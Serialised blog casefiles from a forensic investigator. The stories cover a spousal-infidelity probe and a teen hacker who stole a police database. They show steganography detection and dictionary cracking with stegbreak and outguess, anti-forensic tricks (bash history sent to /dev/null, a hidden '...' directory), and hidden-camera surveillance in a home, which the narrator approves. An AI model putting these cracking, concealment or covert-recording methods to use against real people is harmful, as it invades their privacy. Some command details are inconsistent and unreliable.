I did a quick “pre-scan” of the drive using FTK to try and guage the computer savvyness of the user. I spotted a lot of random files in the root directory of the C:, and the users desktop folder was a complete mess of images, documents, icons, etc. One would have to make an assumption that this user is either savvy and lazy, or a relative ’n00b’ user that doesn’t bother to keep his personal files organized.

After a page of notes on the user (the user “profile”) I proceeded to use a keyword list provided to me by my client. This list included possible names, locations, objects and other words that might help me locate information relating to the client’s husband cheating on her.

FTK rocked through the data on the disk at an amazing speed. FTK builds a database of sorts that enables an investigator to quickly search through gigabytes of data by keyword search, file type, etc.

However, the word list turned up nothing.

“Unusual” I thought. Nine out of ten investigations, the word list almost always helps the investigator narrow their search. Hmmm.

I proceeded to examine all of the picture images on the disk. Nothing exciting there. Internet Explorer URL history files turned up nothing unusual - wait - this guy doesn’t use e-mail? No yahoo, hotmail, msn, aol…. as a matter of fact, I couldn’t find any of the typical traces of webmail on the system. There were no e-mail clients installed either, except Outlook Express - which wasn’t configured. A quick check of the drive for OE mail files turned up nothing. What the hell!

Am I to believe that this user uses this computer to play a few games, go to a few websites here and there… and nothing else? This wasn’t adding up. I missed something.

I started walking the “Program Files” application tree again and stopped cold in my tracks.

Citrix Metaframe Client.

Cripes.

Source: archived original

Part V · Feb 9, 2004

SLAM SLAM SLAM SLAM. Yes, that was me slamming my head into my desk. Looks like the hubby dials into a network somewhere and uses a Citrix Metaframe Client to run applications on a remote server…

My client didn’t have broadband, so I immediately looked at the dial-up properties of the workstation. Tah-dah! A Globelink account (typical ISP) and one marked “Work”.

SLAM SLAM SLAM SLAM. My head hit the desk.

How did I miss that on my first pass? Easy - I made a boo-boo as a forensic investigator. I went head-strong into assuming that the user was conducting business on their local machine, and that the user wasn’t very savvy at using the computer judging from the condition of the hard drive.

My next mission was to image the Encase image back onto a hard drive, boot the drive and play.

I keep a standard “clone” PC machine in my office for just such a purpose. I inserted the freshly-written hard drive into the clone box and booted the machine.

After a few typical errors from Windows (can’t find this device, blah blah) I was at a Windows 98 desktop. I examined the dial-up properties of the “Work” dial-up networking icon. DING! Paydirt.

It was configured with a phone number, username and password.

I documented my findings, and grabbed my cellphone.

Time to call the client. I wasn’t going to be much help to her at this point.

(Aside) Why? Anyone? (/Aside)

Source: archived original

Part VI · Feb 20, 2004

This was not the first time that I had hit a brick wall in an investigation. I couldn’t very well dial into the client’s husband’s work network and start poking around even though I had the necessary connection information. This is what I consider the “fine line” in an investigation - you can’t leave “the box”. Why? The client had authorized me to image and poke around in her machine - one that she had legal ownership of. The network that her husband had access to was a third-party network and the property of another entity - in this case, the husband’s employer. By connecting to the third-party network without prior consent from the employer, I could be guilty of a cyber “break and enter”. Not my cup of tea… err.. coffee, baby. A quick call to the client was made.

“Donna, it’s Chief.” I said.

“Hi Chief! What have you found?” she asked

I proceeded to describe the situation to her, and of course she was not very happy. She did something at this point that most clients do: she asked me if I could monitor her PC in someway that I could record her husband’s actions w/o connecting to the third-party network.

Sticky situation. Shooting from the hip, a course of action could include a keylogger or other type of “spy software” installed on the PC that would record and monitor what her husband was doing on the PC. However! I would potentially view information on a private third-party network - it’s the “chicken and the egg” scenerio all over again.

If you were the investigator working this case, what would YOU do at this point?

Remember that you can’t leave “the box”, and you can’t violate the third-party’s network security/privacy policy.

Discuss.

The reader that come closest to what I actually did scores points with the Chief. :-)

Source: archived original

Part VII · Mar 10, 2004

It was going to be a challenging day. A quick search through the Chief’s coffee cupboard revealed a tin of Folger’s, three packets of instant coffee from 1997 and a previously used tea bag. Tea bag - TEA? How did that get in MY cupboard? I proceeded to brew a fresh pot of Folgers and sat down in front of my forensic analysis workstation. The LCD started to look more and more like a brickwall.

But as any good case investigator will tell you, sometimes you have to be creative and inventive… but stay inside “the box”.

I poured a cup of the almost-coffee into my favorite mug (from my good friends at a certain agency - thanks guys!!!!), flipped through my notes and reached for my trusty cellphone.

Time to call Donna and introduce her to a friend of mine. A very interesting friend.Donna and I agreed to meet at a coffee shop (surprise) that was on the other side of town. We were just starting to chat and enjoy a wonderful Peruvian blend when a familiar Jeep pulled into the parking lot.

“Yo Chief - what’s new?” asked Jonathan. Jon was an expert in physical surveillance, and had logged over ten years with a certain government agency. I met Jon at a security conference several years ago. I had helped Jon on a few cases in the past, and now I was calling in a favor.

“Jon, this is our client Donna. I’ve briefed you on my investigation, and now I’d like you to present your ideas to Donna.” I said in between sips.

Without saying a word, Jon grabbed a duffel bag that he brought with him and sat it on the chair next to Donna. He placed on the table several devices that included a wireless pinhole camera, an audio transmitter, a custom-built audio/video receiver/monitor, and perhaps the smallest VCR I had ever seen.

“Donna, what I’m proposing is a step beyond what the Chief here has done. Computer forensics has run it’s course, and now the Chief and I agree that we need to do some old-fashioned P.I. work.” Jon said with a grin.

“Oh my. This sounds expensive.” Donna joked.

Jon stared at Donna.

Jon blinked at me.

Jon stared at Donna.

“I’d like permission from you to install these devices in the bookcase located behind your husband’s desk. These devices are of a superior quality and have been modified by me for just this type of work. The battery life is just over two days - I will then need permission to re-enter your home and remove the devices. You may not touch, move or modify these devices in anyway or it could compromise my portion of this investigation. Clear?” Jon asked.

“Uh, sure Jon. If the Chief trusts you, you can’t be too bad.” Donna said with a grin.

The installation went without a hitch.

Two days had passed and Jon called me on my cell to tell me he was ready to grab the gear from the home. I was called away to a meeting with another client, so I asked Jon to call me again after he had grabbed the gear and performed a cursory analysis of the video/audio.

Later that evening as I was unwinding from my day, my cell rang.

“Chief.” I answered.

“Yo - I got the surveillance back. " Jon said proudly.

“And?” I asked.

“Looks like Donna’s husband is trying really hard to get a promotion - he’s putting in a lot of extra work.” Jon replied.

“Eh?” I asked. “He’s working on some big project?”

“Yeah.” Jon replied. “And it involves a lot of one-on-one time with his boss.”

“Typical. So what’s her name?” I queried.

“Thomas.” Jon shot back.

Oh my.

Source: archived original

Conclusion · Mar 17, 2004

Apparently my ability to forsee the future had become clouded.

A quick call to Donna, and we were back at the coffee shop the next day to discuss the summary of findings.

Once the summary of findings was discussed, Donna could ask us to continue surveillance, or pack sand. Either way would work for me at this point.

Donna sat down at the table, and nervously glanced at me. Jon was busy slamming down his second mocha latte (a trait that I really appreciate in him) and enjoying the ensuing caffeine buzz.

“Donna” I began, “Through our surveillance of your husband, we have found what we believe to be an extra-marital affair taking place.”

Donna begain to tear up. I continued…

“Through video and audio surveillance of your husband’s home office, we discovered that he was indeed logging into his company’s network via a Citrix Metaframe client and having discussions of a sexual nature with another person.” I said.

“Who is she?” Donna asked.

I glanced at Jon.

Jon glanced back.

I nudged Jon in the arm (gently).

“Donna, if you’ll look at these screen prints that I made from my video footage, you’ll see that your husband is involved in a discussion of a sexual nature with an individual named Thomas. Exhibits F and G show a screen capture of some emails with a person named “Thomas Ferrer”. Thomas Ferrer is your husband’s..”

“Boss.” Donna finished. She appeared to be in some sort of mental shock.

“Yes.” Jon replied. “The evidence collected from the surveillance speaks for itself. What you decide to do at this point is up to you.”

I held my head in my hands and watched Donna for any sign of emotion. She wasn’t taking this well.

“Chief, you’re telling me that my husband is having a sexual extra-marital affair with his boss, who happens to be a man?” Donna asked as she wiped a few tears from her eyes.

“Yes M’aam. That’s what we’re telling you.” I responded.

“Chief, Thomas has been to our house hundreds of times. We go to his kids’ baseball games. My husband and Thomas went…. to…. oh God!” Donna said as she hid her face in her hands.

“Your husband and Thomas traveled together?” I asked.

“Yes, all the time! They went white-water rafting, hunting, camping…” Donna trailed off again.

Donna stood up, adjusted her clothes and extended her right arm towards me.

“Thank you Chief, I need to go now.” Donna said as she shook my hand, turned towards Jon, gave a polite smile and walked to her car.

“I really hate this part of the job.” Jon said as he watched Donna drive away.

“Me too, Jon. Me too…” I whispered.

(Aside)

Around a month later, Donna was moved out of the home that she shared with her husband and moved in with her Mother. Donna filed for divorce, which was uncontested by her husband. Donna never revealed the fact that she hired investigators to find out about her husband’s extra-marital affair.

As proud as we (as investigators) are of our work, sometimes the results are hard to share with the client. Even for those of us with a coffee-induced iron gut.

Note: Thanks to reader “Mace” I realized that I left something out of this casefile. When I had to exit Donna’s house in a hurry I didn’t have time to put the case screws back in - yet on my second visit they were screwed in. How did that happen? I had told Donna on the phone after my hasty exit that I missed the screws. She apparently took it upon herself to screw them back in, but never told me until our last meeting.

(/Aside)

Source: archived original

08. Case of the Hushed Hax0r

Fri, 02 Apr 2004 00:00:00 +0000

Part I · Apr 2, 2004

[ Sorry for the delay everyone, but to say that I’m busy right now is the understatement of the year. Please enjoy the new casefile! ~ Chief]

“Man I hate moving.” I mumbled one fine morning. I was moving into new digs, and hadn’t realized all the stuff that I’d never thrown away.

“Byte magazine, circa 1995. Hmmm. Probably don’t need this.” I mumbled as I threw the magazine accross the room into the trash.

Seconds later my cell phone was vibrating on my belt. Time to answer the Chief phone.

“Chief.” I said while balancing a pile of laundry on one shoulder, yet cleverly supporting the phone with my chin in my best Jay Leno impersonation yet.

“Hey, Chief? Detective Soandso from the highway patrol. How are things?” asked a familiar voice. Detective Soandso was the lead computer forensic investigator in a newly created computer crime lab established by the highway patrol.

“I’m moving, but unfortunately it’s not into bed. What’s new man?” I asked.

“I’m way out of my league on this new case. Busted a 15 year-old hacker after he broke into the Sheriff’s office systems via an unmonitored modem connection. From what we can tell, he grabbed a lot of information - but we’re not sure what exactly. Got a minute to pay us a visit down here in doughnut land?” he asked.

“Sure - filing my underwear in the dresser can wait until tomorrow I suppose.” I replied. A stop at Starbucks would be required of course - and a white chocolate mocha would take the sting out of my back.

Time to hit the road.The highway patrol’s HQ was just off a busy highway (coincidence - I think not!). I made the drive in record time, although the irony of getting a speeding ticket while on the way to visit the highway patrol was quite amusing.

After a quick security check-in and having my private parts checked for explosives, I was attached to a visitor’s badge and escorted to Detective Soandso’s desk.

“Chief! That was fast. Have a seat. We have much to discuss.” he said as he refilled his coffee mug.

“Ok, here’s the deal. The kid has a two gigabyte encrypted file of somesort sitting on the harddrive of his linux machine over there on the counter. We’ve imaged the drive and have a few forensic copies for you to play with. " Soandso said with a wrinkled brow.

“Lemme guess - kiddo isn’t giving up the passphrase, and you’re trying a brute force attack using the 5 machines stacked up over there in the corner, eh?” I asked.

“You’re good. Yes, in all honestly it’s been running for days - we’re not going to get anyway fast this way. We need some help.” Soandso said as he slammed back the rest of his coffee.

“Where’s the kid?” I asked as I removed my tired rearend from the safety of the folding chair in front of Soandso’s desk.

“He’s over there - room 2.” Soandso replied as he escorted me to the door.

Upon entering the room, I started laughing inside and I’m sure a grin was splattered all over my face.

The kid looked about twleve years old, pony tail, and ice-cold eyes. As my eyes focused on his, I glanced down at his black T-shirt that read “I r00ted your Mom.”

This was going to be a long afternoon.

Read Part 2 >

Source: archived original

Part II · Apr 13, 2004

“Can you ask somebody to grab me a fresh coffee?” I asked Soandso as I sat down at the interview table. I glanced around the room to see another detective which I had not yet met, a gentleman that just had to be an attorney, and the kid.

I noticed some recording equipment on the table in front of the other detective. The kid and his attorney were playing the whisper game in each other’s ears.

I couldn’t take my eyes off the kid - and it appeared to make him a bit uncomfortable.

Soandso closed the door behind him, fresh coffee in hand.

“Thanks.” I said taking a few sips. Oh man, this must be a pre-ground columbian bean. Ewww.

The interview began with the detectives and the lawyer exchanging some terms and understandings, the recording equipment was switched on, and everyone in the room identified themselves.

The kid’s name was Nick, and his lapdog attorney was John Chaser. How appropriate.

I took a moment to read through some notes that Soandso had passed me on our way into the room, while at the same time trying to listen to the questioning going on in the room. Soandso was walking through the events leading up to Nick’s apprehension. Most of the information was in greater detail in the notes I was reading.

I was reading about a situation that I had seen all too many times, although this had an interesting twist to it.Nick was the stepson of one of the officers: Officer Lopez. This particular highway patrolman had been injured in the line of duty and was now working towards retirement behind a desk doing research and data entry work.

Nick had a fascination with computers, and was very much a loner in the real world. Most of his friends existed online in Internet Relay Chat(IRC) or instant messaging (IM) communities.

Soandso wrote that during a recent security review of the systems at the highway patrol, a consultant found a modem attached to a PC that was connected to the internal/secure LAN. The consultant asked Lopez what the modem was for, and Lopez replied that the modem was used as a backup fax line because they had reliability issues with the fax machine in the same room.

The consultant did a desktop application review of the Windows 2000 workstation, and found that a remote-access application was running in the background and was configured to answer the modem line.

When the consultant asked Lopez about the remote access application, Lopez replied that he believed that the application was on the PC when he received it and he never used it.

The consultant pulled the asset tag information for the PC, and found that the PC had previously been used in a dispatch area to dial into a computer system of a state agency. Apparently the machine was moved to Lopez’s area with the software load and hardware configuration intact.

In a written opinion attached to the notes, the consultant indicated that he could find no evidence to suggest that Lopez was not telling the truth on this issue.

I flipped back to the beginning of the investigative notes to find out what the trigger was in this case.

The consultant expressed concern that the modem was in auto-answer mode, and that log files indicated long connection times to the machine from a remote host that exceeded one hour.

“That’s a pretty big fax job.” I sarcastically thought to myself.

A few pages later, the consultant expressed dire concerns that access logs to the highway patrol’s CMS (case management system) showed access from Lopez’s machine that did not corrolate to Lopez’s work schedule. The user ID in use at the time was Lopez’s. A functional review by the consultant showed that the remote access application was configured to operate while the console screen was “locked out”. The consultant also noticed that Lopez had the only user ID on the system.

“No administrator account, eh?” I mumbled to myself.

The machine was removed from service immediately, and the phone records were analyzed to see what phone number was dialing in to the modem. The number was Lopez’s home fax number.

“This guys sends a lot of faxes to himself!” I almost said aloud as I read through the report. Soandso’s team began the forensic process on the machine shortly after the machine was removed from service. The team concluded that the consultant’s findings were valid - someone had been dialing into the machine from Lopez’s home fax number and accessing the CMS during the time period of 2300 to 0400 hours.

A search warrant was executed on Lopez’s home, and two computers were confiscated. One machine was Lopez’s personal machine running Windows 98SE, the other machine was Nick’s - a Redhat Linux machine.

Lopez’s machine was forensically analyzed and the team found nothing conclusive. Nick’s machine posed a greater challenge, because none of the team members had a lot of experience with Linux and the ext2 file system. The team borrowed a forensic examiner from another state agency who held an RHCE (Redhat Certified Engineer) certification and did a complete examination of the machine.

In the examiner’s notes, the examiner was quoted as finding “a large 1.8GB file: /home/haX0r/dump” that “… appeared to be a PGP-encrypted filesystem image.”

Soandso’s notes indicate that they had brought Nick in for questioning and placed Lopez on leave. Nick was pleading ignorance and had no idea what the 1.8GB file was, or how it got on his machine.

I flipped back to the examiner’s notes, and apparently all user accounts on Nick’s machine (including the haX0r account) had their ~/.bash_history file symbolically linked to /dev/nul.

Way to cover those tracks Nick.

I closed the folder that Soandso had given me when I heard Soandso wrap up his same line of questioning from before.

It was my turn now.

**Read Part 3 >

< Back to Part 1**

Source: archived original

Part III · Apr 16, 2004

I had to keep reminding myself during my questioning of Nick that I was there strictly as a specialist/consultant, and it was my job to give Soandso some guidance on how to verify if there was indeed evidence on the confiscated workstation.

The weak coffee I was sipping was going down like water. The craving for Starbucks was increasing. Somebody was going to have to make a coffee run soon.

“Nice to meet you Nick.” I said, staring a hole through him. “You like linux?”

“Yeah.” Nick replied back. “It’s pretty cool.”

“Not into Windows? Mac?” I asked, trying to draw his interest.

“Hell no. I like linux, it does everything I need. Better programs too. " Nick said staring at the table.

“You like encryption?” I asked.“Doesn’t everyone? I don’t want people looking at my stuff.” Nick replied back, tapping his hand on the underside of the table.

“People? You live with your stepdad, right? You worried about your stepdad looking at your stuff?” I inquired.

Nick looked up from the table.

“Maybe. Maybe I don’t want anyone looking at my stuff, ok?” Nick said, slightly irritated.

“That’s cool Nick - what kind of stuff are we talking about here?” I asked, folding my arms in front of me.

“Just stuff man. Whatever I’m working on.” Nick replied, returning my stare.

“Stuff that requires an encrypted PGP file that you’re mounting as a filesystem?” I asked, unsheathing my questioning sword.

“Hey, it’s my stuff. My business. What the hell do you all care?” Nick said nervously.

“Look Nick,” I began, “I understand the privacy thing. But you’re in possession of a machine that contained diald logs showing that someone on that machine dialed into a machine here at the highway patrol. That resources on that machine were manipulated in an unauthorized manner, and you have a 1.8G PGP-encrypted file on your machine that the nice folks here at the HP would like to examine. How about you tell them what the passphrase is?”

“Passphrase? I don’t remember. Look, there’s nothing but homework and some porn pictures on there, ok? I don’t want my stepdad looking through my porn, alright?” Nick said as put his head on the table.

“Your stepdad won’t see any of the files. The HP wants to make sure that none of it’s information is in that file. Just give them the passphrase.” I pleaded.

“Look man, my work is picture perfect. I taught myself everything I know. Whatever I keep around there is my business, and I don’t believe anything you’re saying anyway. I told you, I don’t remember the damn passphrase.” Nick yelled.

Time for a break.

Soandso and I stepped out of the room and back into his office.

“Well, now you see what we’re up against!” Soandso said. “All we need to finish this puzzle is the contents of that file. There has to be a way to get into it. What do you think Chief? I’m going to owe you a lot of Starbucks after this one.”

I was pouring myself another cup of wanna-be-coffee and thinking out loud.

“I’m not going to get anywhere talking to him either.” I said. “Give me some space in the lab. I want to look through his system myself.”

A few hours later I was in the HP’s forensics lab performing an autopsy on Nick’s ext2 filesystem. I wasn’t seeing anything too exciting. Starting with a cursory examination of the applications Nick used, I was hoping to get lucky.

Nick had his .xinitrc set to start the KDE desktop environment. Scanning through the applications links in his menu bar, I saw the typical collection of apps that I would expect a teenaged-wannabe hacker to own. But one application caught my eye - Quanta. Quanta is a WYSIWYG html editor, similar to frontpage (except it writes pretty clean HTML code!). I dug into his Quanta config files and noticed that he was working on two websites. One appeared to be a site dedicated to him and his collection of Star Wars action figures, the other was a strange hax0r-group site. The site contained only one page, a single image, and a paragraph of meaningless hax0r-speak bragging about the group’s skills and accomplishments.

To make things even more interesting, the HTML in the page referenced the single image as “images\yoface.jpg”, yet the image yoface.jpg did not exist on the hard drive. Maybe in the encrypted file “dump”? I located the actual URL of the site, and sure enough it was still online and broadcasting the hax0r message loud and clear. A view of the HTML source showed that it matched the HTML source on Nick’s machine perfectly.

I took a deep breath, and shook my head. Soandso’s team didn’t mention this in their case notes - not good.

I picked up my cell phone and dialed Soandso, who was working another case outside of the HP HQ.

“Soandso, this is Chief. " I said.

“Hey - find something?” he asked in a rather excitable voice.

“Get that Starbucks gift card ready.” I replied.

(Aside)

I am summarizing the hell out of this case due to the depth and detail involved. Some things to think about: Nick got sloppy in his interview. How? Why did the website draw my interest? Where am I going with this?

Grab a hot cup of java goodness and discuss. (/Aside)

**Read Part 4 >

< Back to Part 2**

Source: archived original

Part IV · Apr 30, 2004

It’s a good thing that I didn’t have my trusty clue banana holstered and ready when Soandso returned to the HP HQ later that day. I would have unleashed a banana-bashing that would make any monkey proud.

One of the officers that was fascinated with what I was doing (and looking over my shoulder throughout my examination of Nick’s machine) was kind enough to run down the freeway and grab me a venti cup of goodness from Starbucks. It went down smooth and satisfying.

The caffeine was ten seconds from permeating my stomach lining when Soandso popped his head into the forensic lab.

“Chief! What’s the scoop?” Soandso said as he pulled up some quality folding-chair space next to me.

“You like Star Wars?” I asked in between burps of coffee. “Sure, who doesn’t. What’s your point?” Soandso said with a wrinkled brow.

“Do you remember in the original ‘Star Wars’ movie how Princess Leia had hid a message in R2D2 to prevent the Empire from finding the Death Star plans?” I asked.

“Yeah, sure. Where are you going with this?” Soandso replied, his eyes a bit bewildered.

“As much as I like your lab guys, they need to apply for jobs as Stormtroopers. They missed some critical clues on this machine.” I said as I clicked away from my Autopsy screen and when to an rxvt window.

I explained to Soandso about the Quanta sites, and how they led me to find the actual web sites on the internet.

I had used wget to grab both websites to my linux laptop, and I was showing the sites to Soandso after configuring a local Apache installation.

“He has two sites, one dedicated to Star Wars memorabilia, the other to a kiddie hacker site. See anything strange here?” I asked as handed the mouse to Soandso.

“I’m not following you Chief. I don’t see anything in the HTML source that’s weird either.” Soandso said.

“Exactly, and I didn’t either until I ran some tools. Watch this.” I said as I typed a few commands in the rxvt window.

_ $ cd /tmp/starwarssite/images $ stegdetect .jpg r2d2.jpg : jsteg(**) chewie.jpg : negative

{List of images truncated} _

“There it is.” I said as I pointed to the stegdetect output. On a hunch I had taken my existing dictionary word list and added a list of common Star Wars words, names and phrases. I ran a few quick scripts to modify the phrases (inserting/removing spaces, underscores, etc) to increase the chances of finding a match.

_ $ stegbreak -tj r2d2.jpg Loaded 1 files… r2d2.jpg : jsteg(helpmeobiwan) Processed 1 files, found 1 embeddings. Time: 58 seconds: Cracks: 673201, 11607 c/s _

“What does that mean?” Soandso asked. “Is THAT the passphrase to the PGP file we have?

“We can try it, but I doubt it.” I replied.

“Why?” Soandso said in a puzzled tone.

“Because we just turned the key in the lock. Now let’s open the door…”

(Aside)

Discussion points:

Nick was pretty slick. He knew steg pretty well. What’s “behind the door”?
The HP was clueless on steg. Why?
I got really lucky on my dictionary attack. Is it surprising that the steg passphrase was so easy to guess?

(/Aside)

Grab some coffee (put down that instant crap) and use your heads.

~ Chief

**Read Part 5 >

< Back to Part 3**

Source: archived original

Part V · May 6, 2004

“Well, so much for that idea.” Soandso mumbled as he tried to use the key extracted by stegdetect on the PGP file. Denied!

“I expected as much - this was just the passphrase to place another file within the image.” I replied, not paying attention to what Soandso was typing.

“What were you saying about door? Where are you going with this?” Soandso said as he leaned back over to get a view of my laptop screen.

“Take a look.” I said as I swung my laptop around and opened yet another rxvt window._ $ outguess -k “helpusobiwan” -r r2d2.jpg hax0r.txt Reading r2d2.jpg…. Extracting usable bits: XXXXX bits Steg retrieve: seed: XXXX, len: XXXX _

“What the…” Soandso said as he held his chin in his right hand. “You mean the SOB really did hide a text file INSIDE of that picture? How the…”

“Hold on.” I said as my fingers eagerly started a ‘vi’ session for ‘hax0r.txt’.

Up came ‘vi’ in no time flat (because it’s better than emacs - kidding!) and we were staring at a single phrase:

“d0ntb3l00k1ngAtMystuffa55h0l3s”

“Is THAT the passphrase Chief?” Soandso said. He was nearly trembling with excitement at this point.

“Let’s find out.” I said as I turned around in my chair to the forensic workstation that contained the forensic image of Nick’s linux machine.

_ $pgp –decrypt /home/haX0r/dump pgp: no valid PGP data found. pgp: decrypt_message failed: eof _

The passphrase wasn’t working. Well, NOTHING was working.

“Big surprise - because that’s what it was doing for me too.” Soandso said.

I blinked. Now he tells me.

Using the notes from the HP’s forensics team, I read them carefully this time:

_ The examiner was quoted as finding “a large 1.8GB file: /home/haX0r/dump” that “… appeared to be a PGP-encrypted filesystem image.” _

Emphasis on APPEARED. Grrrr. I need more coffee.

I was removing my arse from the chair and explaining to Soandso what was going on when I sat right back down.

“Hold the phone - he’s smart but lazy. I have a few other tools to try real quick.” I said as I let my fingers fly accross the keyboard.

I tried the typical tools and configuration options, but I saved the obvious one for last: bestcrypt. I had seen this used in several other cases, and it was pretty powerful for thwarting unauthorized access to files, considering the encryption algorithms that it supports.

_ $ su - Password:

#mkdir /root/haX0r

bctool mount dump /root/haX0r/

Enter password: [d0ntb3l00k1ngAtMystuffa55h0l3s] #ls -la /root/haX0r/ drwxrwxr-x 5 root root 4096 Dec 7 11:01 . drwx—— 63 root root 4096 Dec 7 11:34 .. drwx—— 1 root root 858 Dec 7 storez _

We’re in.

(Aside) Talk about pins and needles. The events in this entry seem to go by very fast, however this was one long afternoon.

Questions to consider:

Why did the HP and their consultants automatically assume that the file was a pgp file?
Where was my slip-up early in the case? It goes to show you that no matter how many cases you’ve worked on, _________________ (fill in the blank grin). Should I have been peering over shoulders?
Why do you think Nick used bestcrypt? Security through obscure toolsets?
Would you have handled anything differently?

Note: NONE of the tools that I used here were found on Nick’s / (root) filesystem. How was Nick doing what he was doing with no tools on the system? Time for a latte.

(/Aside)

**Read Part 6 >

< Back to Part 4**

Source: archived original

Part VI · May 13, 2004

I stared at the blinking cursor, and couldn’t help but be doubtful at what we were about to find.

_ #ls -la /root/haX0r/ drwxrwxr-x 5 root root 4096 Dec 7 11:01 . drwx—— 63 root root 4096 Dec 7 11:34 .. drwx—— 1 root root 858 Dec 7 storez _

I started a cursory examination of the directory:

_ #cd storez

ls -la

rwxrwxr-x 5 root root 4096 Dec 7 11:01 . drwx—— 63 root root 4096 Dec 7 11:34 .. drwx—— 63 root root 4096 Dec 7 11:49 …

_ “Wait a tick.” I said to myself. That directory listing appeared to be empty, but only to someone that had never seen a few hundred cracked ftp servers.

One of the most common tricks that warez kiddies use is to create a directory called “…”. It’s meant to be easily overlooked by the other listings in an empty directory - namely the current directory (” . “) and the parent directory (” .. “).

Nick had utilized this trick here. But why?

_ #cd …

ls -la

rwxrwxr-x 5 root root 4096 Dec 7 11:01 . drwx—— 63 root root 4096 Dec 7 11:34 .. -rwx—— 63 root root 13444096 Dec 7 11:59 master.mdb _

Paydirt.

I burned the master.mdb file onto a CDR disc, and examined it using one of the forensic workstations running Windows 2000. I opened the master.mdb file with Access.

“Holy Mary of Magnolia” Soandso whispered. “He grabbed the entire database. He had access to every arrest we’ve made in the past year!”

My watch showed that it was 30 minutes past coffee time, so I excused myself to the local Starbucks for a relaxing cup of java and some quiet time to enter my case notes into my laptop.

Ah, the glories of information security work. I was one tired monkey.

(Summary)

What have we learned from this casefile?

Nick was a young, brash, reckless haX0r that knew a few tricks, but he was lazy. He tried way too hard to hide something that he knew any law enforcement agency would want - their own data. He went to an awful lot of trouble to protect this data, but he made a series of mistakes. What were those mistakes?

It was later learned by the HP that Nick was intending on selling the information that he had gathered to anyone that wanted it. Nice business model there, eh? What would some hurdles be to Nick successfully selling this information?

Nick was convicted and placed on probation. Big surprise.

(/Summary)

New casefile next thursday - stay tuned.

~ Chief

**< Back to Part 5

< Start from Part 1**

Source: archived original

09. When things go bad

Fri, 21 May 2004 00:00:00 +0000

Part I · May 21, 2004

(Intro)

Perry Mason was known for only losing one case in his history of practicing law. I have not been so lucky in the world of information security investigations.

Things are rarely what they seem, people lie, computers malfunction, and the curve balls fly faster than an angry spider monkey hopped up on Starbuck’s finest ground beans. I’ve often been asked about a case that didn’t pan out as I intended - my first reaction is to always respond with “All of them.”

The case file you’re about to read has been compiled from my memory and the case notes of another securitymonkey-type that worked with me. Like all the case files on this site, the events actually happened - but the details have been heavily modified to protect the identities of those involved. (And to protect my monkey butt.)

(/Intro)

** When Things Go Bad - Part I ** All I wanted was a day off. It was a beautiful day outside, the pool was a very comfortable 80 degrees, and the grocery store down the street had ribeye steaks on sale. I had just cleaned the coffee grinder and was preparing a nice half/half Jamaican/Columbian blend when my cell phone rang.

ring

It was a fellow investigator that I periodically handed off work to.

“Chief.” I said into the squawking silver-colored box.

“Chief! Dave here. Busy?” Dave asked.

“CURSES!” I screamed into the phone. I had just spilled a pound of beautiful Jamaican coffee beans all over the kitchen floor. Thoughts of also spilling a pot of hot water, some milk and sugar, and skating around the floor with a straw in my mouth ran through my mind. I needed a cup of coffee bad.

“Alrighty then. I have a live one here that I need an assist on.” Dave said, calmly ignoring the coffee emergency on my end of the phone.

“Whatcha got?” I asked, carefully picking up the beans one by one.

“Fredrick VonHeffer called my office today and left me a nonsensical voice mail. I didn’t quite understand his message, but he’s on his way to the Rainforest Cafe to have lunch with me in an hour.” Dave relayed.

“Fredrick VonHeffer? The guy that just took his little CRM software company public?” I asked.

“The very one.” Dave responded. “And you’re not going to believe this, but he’s accusing TouchThemSoft of information theft and wants me to prove it. We’re talking a serious lawsuit here.”

“Information theft? We talking another intellectual property theft case, or a patent infringement case?” I asked as I poured the recently picked-up beans back into the grinder. Sure they came off the floor, but they would still make good coffee.

“Not sure. But I’m meeting him in an hour. Have plans? Care to join?” Dave asked.

“Rainforest Cafe you said? Lots of monkeys there. Count me in.” I said as I deafened Dave with jet-engine blast of noise from the coffee grinder.

“Chief - one more thing. I think this is a little beyond what we normally work on - he’s convinced that his company is under some sort of surveillance too.” Dave yelled into the phone. Obviously Dave wasn’t respecting my coffee grinder right now.

“Aren’t we all?” I joked. “I’ll meet you in an hour. Bring your gear. If this case is legit, we might need to do some after-hours recon at their office.”

“Roger that.” Dave said as he hung up.

So much for enjoying my beautiful day.

Source: archived original

Part II · May 28, 2004

“Eeeek! Eeeek!”

The screams of monkeys filled the air as Dave and I walked into the Rainforest Cafe.

“Feels just like home.” I said to myself, fighting back a few tears. Monkeys are family-oriented, you know.

“So where are we meeting Mr. VonHoover?” I joked.

“Chief, it’s VonHEFFER. He said he’d be on the south side of the restaurant.” Dave replied.

A quick examination of the south side of the restaurant produced no VonHeffer. I glanced at my watch… we were a few minutes late.

“Time for some coffee.” I said as I walked towards the bar.

“I’ll get us a table on the south side of the restaurant.” Dave said as he flagged down the hostess.

I had just been served a fine smelling blend of java happiness when I felt a tap on my shoulder. I turned around, grumpy that my coffee was being interrupted…“You Chief?” a clean-cut businessman-looking chap asked me.

“Uh, sure. And you are?” I queried.

“VonHeffer - Dave over there said to invite you to our table.” he said.

I scurried over to the table, tailing behind VonHeffer. He glanced around the room several times and sat facing the entrance.

Dave introduced me to VonHeffer, brief personal histories were discussed, and then VonHeffer went into the details of our meeting.

“Here’s my situation in a nutshell gentleman: I just took my company HefferSoft public. A lot of this was made possible by how well my company is managed, how great our product is, and how happy our customers are.

Well, our chief competitor in our little neck of the CRM woods is TouchThemSoft. I was just made aware that a former developer of ours is breaking his non-compete agreement with us and is secretly helping TouchThemSoft develop a product that is using some patented technologies that we’ve spent years developing.

If TouchThemSoft beats us to market with this product, we could be screwed.” VonHeffer said, taking a drink from his now empty beer.

“Ok, this is nothing new. Dave mentioned that you’re under some kind of surveillance?” I asked.

“Yes, well - sort of. My attorney has begun legal proceedings against the former developer. Shortly after we filed on the former developer, we started noticing strange things. I am followed home almost every night. I will sometimes spot the same person at three different restaurants in four nights…” VonHeffer said in a nervous voice.

“Maybe they like a wide variety of food AND coffee.” I thought to myself.

“Anyone else under surveillance? Anything else going on?” Dave asked VonHeffer.

“Yes - our offices have been broken into twice, yet nothing was stolen. We have three security guards that patrol the interior of the building now. My home has been broken into as well, but like my office - nothing was stolen. My executive assistant’s home was burglarized two days ago - and they did steal something.” VonHeffer said, now sweating profusely.

“What did they steal?” I asked.

“Some money, some jewelry, her office keys … and her laptop.” VonHeffer said.

Yikes.

Source: archived original

Part III · Jun 4, 2004

Out of pure instinct I reached for my sidearm, the trusty clue banana… but alas, I had left it on the dash of my car.

VonHeffer sat at the table, a nervous twitch ran through his neck every few minutes. A coffee lover I see. Excellent.

